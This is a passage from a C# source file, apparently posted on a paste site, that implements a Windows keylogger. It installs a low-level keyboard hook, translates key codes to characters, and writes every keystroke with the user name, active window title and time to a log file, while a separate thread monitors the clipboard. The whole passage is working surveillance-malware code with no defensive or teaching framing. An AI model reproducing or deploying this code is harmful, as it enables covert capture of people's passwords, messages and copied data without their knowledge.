  1131.                             break;
  1132.                         case 98:
  1133.                             key = "2";
  1134.                             break;
  1135.                         case 99:
  1136.                             key = "3";
  1137.                             break;
  1138.                         case 100:
  1139.                             key = "4";
  1140.                             break;
  1141.                         case 101:
  1142.                             key = "5";
  1143.                             break;
  1144.                         case 102:
  1145.                             key = "6";
  1146.                             break;
  1147.                         case 103:
  1148.                             key = "7";
  1149.                             break;
  1150.                         case 104:
  1151.                             key = "8";
  1152.                             break;
  1153.                         case 105:
  1154.                             key = "9";
  1155.                             break;
  1156.                         case 106:
  1157.                             key = "*";
  1158.                             break;
  1159.                         case 107:
  1160.                             key = "+";
  1161.                             break;
  1162.                         case 108:
  1163.                             key = "|";
  1164.                             break;
  1165.                         case 109:
  1166.                             key = "-";
  1167.                             break;
  1168.                         case 110:
  1169.                             key = ".";
  1170.                             break;
  1171.                         case 111:
  1172.                             key = "/";
  1173.                             break;
  1174.                     } //Special symbols only
  1175.                 }
  1176.                 else if ((vKey >= 48 && vKey <= 57) || (vKey >= 186 && vKey <= 192))
  1177.                 {
  1178.                     if (shift)
  1179.                     {
  1180.                         switch (vKey)
  1181.                         {
  1182.                             case 48:
  1183.                                 key = ")";
  1184.                                 break;
  1185.                             case 49:
  1186.                                 key = "!";
  1187.                                 break;
  1188.                             case 50:
  1189.                                 key = "@";
  1190.                                 break;
  1191.                             case 51:
  1192.                                 key = "#";
  1193.                                 break;
  1194.                             case 52:
  1195.                                 key = "$";
  1196.                                 break;
  1197.                             case 53:
  1198.                                 key = "%";
  1199.                                 break;
  1200.                             case 54:
  1201.                                 key = "^";
  1202.                                 break;
  1203.                             case 55:
  1204.                                 key = "&";
  1205.                                 break;
  1206.                             case 56:
  1207.                                 key = "*";
  1208.                                 break;
  1209.                             case 57:
  1210.                                 key = "(";
  1211.                                 break;
  1212.                             case 186:
  1213.                                 key = ":";
  1214.                                 break;
  1215.                             case 187:
  1216.                                 key = "+";
  1217.                                 break;
  1218.                             case 188:
  1219.                                 key = "<";
  1220.                                 break;
  1221.                             case 189:
  1222.                                 key = "_";
  1223.                                 break;
  1224.                             case 190:
  1225.                                 key = ">";
  1226.                                 break;
  1227.                             case 191:
  1228.                                 key = "?";
  1229.                                 break;
  1230.                             case 192:
  1231.                                 key = "~";
  1232.                                 break;
  1233.                             case 219:
  1234.                                 key = "{";
  1235.                                 break;
  1236.                             case 220:
  1237.                                 key = "|";
  1238.                                 break;
  1239.                             case 221:
  1240.                                 key = "}";
  1241.                                 break;
  1242.                             case 222:
  1243.                                 key = "\"";
  1244.                                 break;
  1245.                         }
  1246.                     }
  1247.                     else
  1248.                     {
  1249.                         switch (vKey)
  1250.                         {
  1251.                             case 48:
  1252.                                 key = "0";
  1253.                                 break;
  1254.                             case 49:
  1255.                                 key = "1";
  1256.                                 break;
  1257.                             case 50:
  1258.                                 key = "2";
  1259.                                 break;
  1260.                             case 51:
  1261.                                 key = "3";
  1262.                                 break;
  1263.                             case 52:
  1264.                                 key = "4";
  1265.                                 break;
  1266.                             case 53:
  1267.                                 key = "5";
  1268.                                 break;
  1269.                             case 54:
  1270.                                 key = "6";
  1271.                                 break;
  1272.                             case 55:
  1273.                                 key = "7";
  1274.                                 break;
  1275.                             case 56:
  1276.                                 key = "8";
  1277.                                 break;
  1278.                             case 57:
  1279.                                 key = "9";
  1280.                                 break;
  1281.                             case 186:
  1282.                                 key = ";";
  1283.                                 break;
  1284.                             case 187:
  1285.                                 key = "=";
  1286.                                 break;
  1287.                             case 188:
  1288.                                 key = ",";
  1289.                                 break;
  1290.                             case 189:
  1291.                                 key = "-";
  1292.                                 break;
  1293.                             case 190:
  1294.                                 key = ".";
  1295.                                 break;
  1296.                             case 191:
  1297.                                 key = "/";
  1298.                                 break;
  1299.                             case 192:
  1300.                                 key = "`";
  1301.                                 break;
  1302.                             case 219:
  1303.                                 key = "[";
  1304.                                 break;
  1305.                             case 220:
  1306.                                 key = "\\";
  1307.                                 break;
  1308.                             case 221:
  1309.                                 key = "]";
  1310.                                 break;
  1311.                             case 222:
  1312.                                 key = "'";
  1313.                                 break;
  1314.                         }
  1315.                     }
  1316.                 }
  1317.                 else
  1318.                 {
  1319.                     switch ((Keys)vKey)
  1320.                     {
  1321.                         case Keys.F1:
  1322.                             key = "<F1>";
  1323.                             break;
  1324.                         case Keys.F2:
  1325.                             key = "<F2>";
  1326.                             break;
  1327.                         case Keys.F3:
  1328.                             key = "<F3>";
  1329.                             break;
  1330.                         case Keys.F4:
  1331.                             key = "<F4>";
  1332.                             break;
  1333.                         case Keys.F5:
  1334.                             key = "<F5>";
  1335.                             break;
  1336.                         case Keys.F6:
  1337.                             key = "<F6>";
  1338.                             break;
  1339.                         case Keys.F7:
  1340.                             key = "<F7>";
  1341.                             break;
  1342.                         case Keys.F8:
  1343.                             key = "<F8>";
  1344.                             break;
  1345.                         case Keys.F9:
  1346.                             key = "<F9>";
  1347.                             break;
  1348.                         case Keys.F10:
  1349.                             key = "<F10>";
  1350.                             break;
  1351.                         case Keys.F11:
  1352.                             key = "<F11>";
  1353.                             break;
  1354.                         case Keys.F12:
  1355.                             key = "<F12>";
  1356.                             break;
  1357.  
  1358.                         //case Keys.Snapshot:
  1359.                         //    key = "<Print Screen>";
  1360.                         //    break;
  1361.                         //case Keys.Scroll:
  1362.                         //    key = "<Scroll Lock>";
  1363.                         //    break;
  1364.                         //case Keys.Pause:
  1365.                         //    key = "<Pause/Break>";
  1366.                         //    break;
  1367.                         case Keys.Insert:
  1368.                             key = "<Insert>";
  1369.                             break;
  1370.                         //case Keys.Home:
  1371.                         //    key = "<Home>";
  1372.                         //    break;
  1373.                         case Keys.Delete:
  1374.                             key = "<Delete>";
  1375.                             break;
  1376.                         //case Keys.End:
  1377.                         //    key = "<End>";
  1378.                         //    break;
  1379.                         //case Keys.Prior:
  1380.                         //    key = "<Page Up>";
  1381.                         //    break;
  1382.                         //case Keys.Next:
  1383.                         //    key = "<Page Down>";
  1384.                         //    break;
  1385.                         //case Keys.Escape:
  1386.                         //    key = "<Esc>";
  1387.                         //    break;
  1388.                         //case Keys.NumLock:
  1389.                         //    key = "<Num Lock>";
  1390.                         //    break;
  1391.                         //case Keys.Capital:
  1392.                         //    key = "<Caps Lock>";
  1393.                         //    break;
  1394.                         case Keys.Tab:
  1395.                             key = "<Tab>";
  1396.                             break;
  1397.                         case Keys.Back:
  1398.                             key = "<Backspace>";
  1399.                             break;
  1400.                         case Keys.Enter:
  1401.                             key = "<Enter>";
  1402.                             break;
  1403.                         case Keys.Space:
  1404.                             key = " ";
  1405.                             break;
  1406.                         case Keys.Left:
  1407.                             key = "<Left>";
  1408.                             break;
  1409.                         case Keys.Up:
  1410.                             key = "<Up>";
  1411.                             break;
  1412.                         case Keys.Right:
  1413.                             key = "<Right>";
  1414.                             break;
  1415.                         case Keys.Down:
  1416.                             key = "<Down>";
  1417.                             break;
  1418.                         case Keys.LMenu:
  1419.                             key = "<Alt>";
  1420.                             break;
  1421.                         case Keys.RMenu:
  1422.                             key = "<Alt>";
  1423.                             break;
  1424.                         case Keys.LWin:
  1425.                             key = "<Windows Key>";
  1426.                             break;
  1427.                         case Keys.RWin:
  1428.                             key = "<Windows Key>";
  1429.                             break;
  1430.                         //case Keys.LShiftKey:
  1431.                         //    key = "<Shift>";
  1432.                         //    break;
  1433.                         //case Keys.RShiftKey:
  1434.                         //    key = "<Shift>";
  1435.                         //    break;
  1436.                         case Keys.LControlKey:
  1437.                             key = "<Ctrl>";
  1438.                             break;
  1439.                         case Keys.RControlKey:
  1440.                             key = "<Ctrl>";
  1441.                             break;
  1442.                     }
  1443.                 }
  1444.                 StringBuilder title = new StringBuilder(256);
  1445.                 GetWindowText(hWindow, title, title.Capacity);
  1446.                
  1447.                 Dictionary<string, string> props = new Dictionary<string, string>();
  1448.                 props["Key"] = key;
  1449.                 props["Time"] = DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt");
  1450.                 props["Window"] = title.ToString();
  1451.                 if (props["Window"] != Program.lastTitle)
  1452.                 {
  1453.                     string titleString = "====================================LOG RECORD START====================================" + Environment.NewLine +
  1454.                                             "User    : " + Program.userName + Environment.NewLine +
  1455.                                             "Window  : " + props["Window"] + Environment.NewLine +
  1456.                                             "Time    : " + props["Time"] + Environment.NewLine +
  1457.                                             "LogFile : " + Program.logName + Environment.NewLine +
  1458.                                             "----------------------------------------------" + Environment.NewLine +
  1459.                                             "Log data: \r\n";
  1460.                     Trace.WriteLine("");
  1461.                     Trace.WriteLine("");
  1462.                     Trace.WriteLine(titleString);
  1463.                     Trace.WriteLine("");
  1464.                     GC.Collect();
  1465.                     Program.lastTitle = props["Window"];
  1466.                 }
  1467.                 Trace.Write(props["Key"]);
  1468.             }
  1469.             return CallNextHookEx(IntPtr.Zero, code, wParam, lParam);
  1470.         }
  1471.  
  1472.         public static void StartLoggers(string[] args)
  1473.         {
  1474.             try
  1475.             {
  1476.                 Trace.Listeners.Clear();
  1477.                 TextWriterTraceListener twtl = new TextWriterTraceListener(Program.logName);
  1478.                 twtl.Name = "TextLogger";
  1479.                 twtl.TraceOutputOptions = TraceOptions.ThreadId | TraceOptions.DateTime;
  1480.  
  1481.                 ConsoleTraceListener ctl = new ConsoleTraceListener(false);
  1482.                 ctl.TraceOutputOptions = TraceOptions.DateTime;
  1483.  
  1484.                 Trace.Listeners.Add(twtl);
  1485.                 Trace.Listeners.Add(ctl);
  1486.                 Trace.AutoFlush = true;
  1487.  
  1488.  
  1489.                 // Start the clipboard
  1490.                 Thread clipboardT = new Thread(new ThreadStart(delegate { Application.Run(new ClipboardMonitorForm()); }));
  1491.                 clipboardT.Start();
  1492.  
  1493.                 //Application.Run(new ClipboardNotification.NotificationForm());
  1494.                 HookProc callback = CallbackFunction;
  1495.                 var module = Process.GetCurrentProcess().MainModule.ModuleName;
  1496.                 var moduleHandle = GetModuleHandle(module);
  1497.                 var hook = SetWindowsHookEx(HookType.WH_KEYBOARD_LL, callback, moduleHandle, 0);
  1498.  
  1499.                 while (true)
  1500.                 {
  1501.                     PeekMessage(IntPtr.Zero, IntPtr.Zero, 0x100, 0x109, 0);
  1502.                     System.Threading.Thread.Sleep(5);
  1503.                 }
  1504.             }
  1505.             catch (Exception ex)
  1506.             {
  1507.                 Console.WriteLine("[ERROR] Exception: {0}", ex);
  1508.             }
  1509.         }
  1510.     }
  1511. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement